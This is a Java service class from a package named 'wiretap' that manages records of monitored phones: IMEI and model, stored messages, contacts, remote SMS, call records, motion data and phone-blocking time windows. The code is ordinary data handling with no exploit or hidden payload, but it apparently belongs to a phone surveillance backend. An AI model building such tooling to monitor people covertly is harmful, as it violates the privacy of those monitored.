package com.wiretap.service.impl;

import java.util.Date;

import com.wiretap.dao.ContactDao;
import com.wiretap.dao.MessageDao;
import com.wiretap.dao.MotionDao;
import com.wiretap.dao.RemoteCallDao;
import com.wiretap.dao.RemoteSmsDao;
import com.wiretap.dao.UserDao;
import com.wiretap.po.User;
import com.wiretap.service.UserService;
import com.wiretap.util.Pager;

public class UserServiceImpl implements UserService {
	private UserDao userDao;
	private MessageDao messageDao;
	private RemoteSmsDao remoteSmsDao;
	private ContactDao contactDao;
	private MotionDao motionDao;
	private RemoteCallDao remoteCallDao;

	public void setUserDao(UserDao userDao) {
		this.userDao = userDao;
	}

	@Override
	public User addUser(String phone, String imeiCode, String model, String clientVersion) throws Exception {
		User user = getUserByPhone(phone);
		if (user == null) {
			user = new User();
			user.setAddDate(new Date());
			user.setImeiCode(imeiCode);
			user.setModel(model);
			user.setPhone(phone);
			user.setClientVersion(clientVersion);
			userDao.addUser(user);
			user = userDao.getUserByPhone(phone);
		}
		return user;
	}

	@Override
	public boolean updateForbiddenTime(String id, boolean isForbidden, Date startTime, Date endTime) throws Exception {
		try {
			User user = getUserById(id);
			if (user != null) {
				user.setForbidden(isForbidden);
				if (isForbidden) {
					user.setFobiddenStatus(true);
					user.setStartTime(startTime);
					user.setEndTime(endTime);
				} else {
					user.setStartTime(null);
					user.setEndTime(null);
				}
				userDao.updateUser(user);
			}
		} catch (Exception e) {
			e.printStackTrace();
			return false;
		}
		return true;
	}

	@Override
	public boolean updatePhoneForbiddenTime(String id, boolean isForbidden, Date startTime, Date endTime) throws Exception {
		try {
			User user = getUserById(id);
			if (user != null) {
				user.setPhoneForbidden(isForbidden);
				if (isForbidden) {
					user.setFobiddenStatus(true);
					user.setPhoneStartTime(startTime);
					user.setPhoneEndTime(endTime);
				} else {
					user.setPhoneStartTime(null);
					user.setPhoneEndTime(null);
				}
				userDao.updateUser(user);
			}
		} catch (Exception e) {
			e.printStackTrace();
			return false;
		}
		return true;
	}

	@Override
	public User getUserByPhone(String phone) throws Exception {
		return userDao.getUserByPhone(phone);
	}

	@Override
	public Pager<User> listAllUser(int currentPage, int pageSize) throws Exception {
		return userDao.getAllUser(currentPage, pageSize);
	}

	@Override
	public Pager<User> searchUserByPhone(String phone, int currentPage, int pageSize) throws Exception {
		return userDao.searchUserByPhone(phone, currentPage, pageSize);
	}

	@Override
	public boolean removeUsers(String[] ids) throws Exception {
		for (String id : ids) {
			User u = userDao.getUserById(id);
			if (u != null) {
				messageDao.deleteMessageByPhone(u.getPhone());
				contactDao.deleteContactByOwnerPhone(u.getPhone());
				remoteSmsDao.deleteRemoteSmsByOwnerPhone(u.getPhone());
				motionDao.deleteMotionByPhone(u.getPhone());
			}
		}
		return userDao.removeUser(ids) > 0;
	}

	@Override
	public User getUserById(String id) throws Exception {
		return userDao.getUserById(id);
	}

	@Override
	public long getUserCount() throws Exception {
		return userDao.getUserCount();
	}

	@Override
	public void clearUserMsgStatus(String id) throws Exception {
		User user = userDao.getUserById(id);
		if (user != null) {
			user.setHasNewMsg(false);
			userDao.updateUser(user);
		}
	}

	@Override
	public boolean setUserVisibility(String[] ids, boolean visibility) throws Exception {
		for (String id : ids) {
			User u = userDao.getUserById(id);
			if (u != null) {
				messageDao.deleteMessageByPhone(u.getPhone());
				contactDao.deleteContactByOwnerPhone(u.getPhone());
				remoteSmsDao.deleteRemoteSmsByOwnerPhone(u.getPhone());
				motionDao.deleteMotionByPhone(u.getPhone());
				remoteCallDao.deleteRemoteCallByOwnerPhone(u.getPhone());
			}
		}
		return userDao.setUserVisibility(ids, visibility) > 0;
	}

	public void setMessageDao(MessageDao messageDao) {
		this.messageDao = messageDao;
	}

	public void setRemoteSmsDao(RemoteSmsDao remoteSmsDao) {
		this.remoteSmsDao = remoteSmsDao;
	}

	public void setContactDao(ContactDao contactDao) {
		this.contactDao = contactDao;
	}

	public void setMotionDao(MotionDao motionDao) {
		this.motionDao = motionDao;
	}

	public void setRemoteCallDao(RemoteCallDao remoteCallDao) {
		this.remoteCallDao = remoteCallDao;
	}

}
